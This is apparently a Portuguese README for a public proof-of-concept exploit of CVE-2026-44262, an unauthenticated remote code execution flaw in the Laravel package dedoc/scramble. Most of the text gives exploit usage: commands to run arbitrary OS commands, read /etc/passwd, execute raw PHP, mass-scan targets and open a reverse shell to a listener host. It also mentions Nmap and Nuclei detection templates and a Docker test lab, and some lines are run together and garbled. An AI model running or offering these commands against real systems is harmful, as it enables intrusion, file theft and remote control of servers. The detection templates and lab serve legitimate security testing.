joshuavanderpoll/cve-2026-44262RCE não autenticado no dedoc/scramble — PoC, Nmap NSE e modelo Nuclei.
CVE-2026-44262 é uma vulnerabilidade de Execução Remota de Código não autenticada no dedoc/scramble, um gerador de documentação de API para Laravel.
NodeRulesEvaluator::doEvaluateExpression() chama extract($variables) antes de . Quando um controller atribui a uma variável chamada e a utiliza como regra de validação, o Scramble rastreia essa variável e a passa para o escopo do eval. Um atacante pode substituir por PHP arbitrário ao fornecer um parâmetro de consulta malicioso para .
eval("return $code;")$request->input()$code$code/docs/api.jsonVersões afetadas: dedoc/scramble >=0.13.2, <0.13.22
sleep() para confirmar que o eval é acionadoproc_open, sem necessidade de bash ou busyboxhttp-scramble-rce-detect.nse)CVE-2026-44262.yaml)Sem dependências externas — usa apenas a biblioteca padrão do Python.
git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api
git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api
usage: CVE-2026-44262.py [-h] (--target TARGET | --targets FILE) [--docs-path PATH]
[--check] [--command CMD] [--code PHP] [--read-file PATH]
[--shell] [--lhost HOST] [--lport PORT] [--os OS]
[--useragent USERAGENT] [--timeout SECONDS]
# Detecção completa (temporização + execução)
python3 CVE-2026-44262.py --target http://example.com/docs/api
# Apenas verificação segura — sonda de temporização, sem execução de comando
python3 CVE-2026-44262.py --target http://example.com/docs/api --check
# Sobrescrever o caminho do endpoint JSON
python3 CVE-2026-44262.py --target http://example.com/docs/api --docs-path /api/openapi.json
# Escaneamento em massa
python3 CVE-2026-44262.py --targets targets.txt
# Executar um comando
python3 CVE-2026-44262.py --target http://example.com/docs/api --command "whoami"
# Ler um arquivo
python3 CVE-2026-44262.py --target http://example.com/docs/api --read-file /etc/passwd
# Executar PHP bruto
python3 CVE-2026-44262.py --target http://example.com/docs/api --code "echo php_uname();"
# Reverse shell (iniciar: nc -lv 4444)
python3 CVE-2026-44262.py --target http://example.com/docs/api --shell --lhost 172.17.0.1 --lport 4444
# Nmap
nmap -p 80,443 --script http-scramble-rce-detect example.com
# Nuclei
nuclei -t CVE-2026-44262.yaml -u http://example.com
Um ambiente Docker autocontido com o aplicativo vulnerável (dedoc/scramble v0.13.21) está incluído. Veja docker/DOCKER.md para detalhes.
cd docker/
docker compose up -d
python3 ../CVE-2026-44262.py --target http://localhost:8000/docs/api
Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa. O criador não se responsabiliza por qualquer uso indevido ou dano causado por esta ferramenta.